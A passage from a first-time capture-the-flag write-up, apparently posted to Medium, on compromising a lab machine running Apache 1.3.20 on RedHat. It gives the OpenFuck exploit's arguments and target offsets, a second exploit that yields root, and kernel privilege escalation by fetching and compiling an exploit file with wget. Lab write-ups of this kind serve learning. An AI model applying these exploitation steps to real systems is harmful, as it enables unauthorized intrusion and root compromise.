SuSE Linux 8.0 (apache-1.3.23-137)<br>        0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)</pre><p>The needed arguments run the exploit are:</p><pre>./OpenFuck target box [port] [-c N]</pre><p>target: since the running version of Apache is 1.3.20 and the OS is RedHat it’s one of these two values (0x6a or 0x6b)</p><p>box: in our case, it is “192.168.1.104“</p><p>port: 443</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*YnyndHPfXiyD5-MdWmzoFQ.png" /><figcaption>run the code with target equals 0x6a</figcaption></figure><p>Didn’t work let’s try the 0x6b target value:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*dzuCPOuWIi8hORbVDYJAJQ.png" /><figcaption>run the code with target equals 0x6b</figcaption></figure><p>And here we go, it’s a reverse shell!!!</p><p><strong>Method 2:</strong></p><p>As the first method, we need to get the exploitation code to the current working directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*huPiMJTqXO7e6eUiA-kQXw.png" /></figure><p>And after that compile it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*-bOSBD9lkATaUxwfp9Ztxw.png" /><figcaption>Compiling 10.c</figcaption></figure><p>Let’s check the help options:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EfT-k-c926FtXgj5_jADvQ.png" /></figure><p>From the previous screenshot it’s obvious we need these options:</p><p>-b: 0 for Linux</p><p>-v: to make output verbose</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*Q7la8pNjmMe_SxUzj60RTw.png" /></figure><p>We’ve got root access!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*dCJV4MSmPjmY0EDq" /></figure><p>Now let’s back to method 1 and try to escalate our privilege:</p><p>The first thing that comes to my mind when we are talking about privilege escalation is kernel exploitation. Let’s check the kernel version:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/1*vKV3w13OoXvmbZ9LfFtrVw.png" /></figure><p>After searching on Google for a vulnerability in (RedHat) Kernel 2.4.7 I found:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M8j0pGlycO_VUHAMwMoJug.png" /></figure><p>Without any hesitations I downloaded it. Now we need to send it to the target machine. The easiest way to do this is by running an HTTP server using Python:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*y6GyPwbQH157LYELAQYppg.png" /></figure><p>Now let’s go to the target machine’s shell and bring “3.c” file using “wget” tool, compile it, and finally execute it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ctrLa10YoSUdeI-zQVlAIw.png" /></figure><p>And here we go again!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*glFnNg6xcjTv-6Jn" /></figure><p>That’s it for this write-up. It was a really fun machine and I enjoyed it.</p><p>This is my first Write-up. If you have any comments or tips to make my future writing better, I would be grateful.</p><p>Thanks for your time and see you in another article.</p><p>2XvcyDgetZmE6😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=feed2ea23232" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>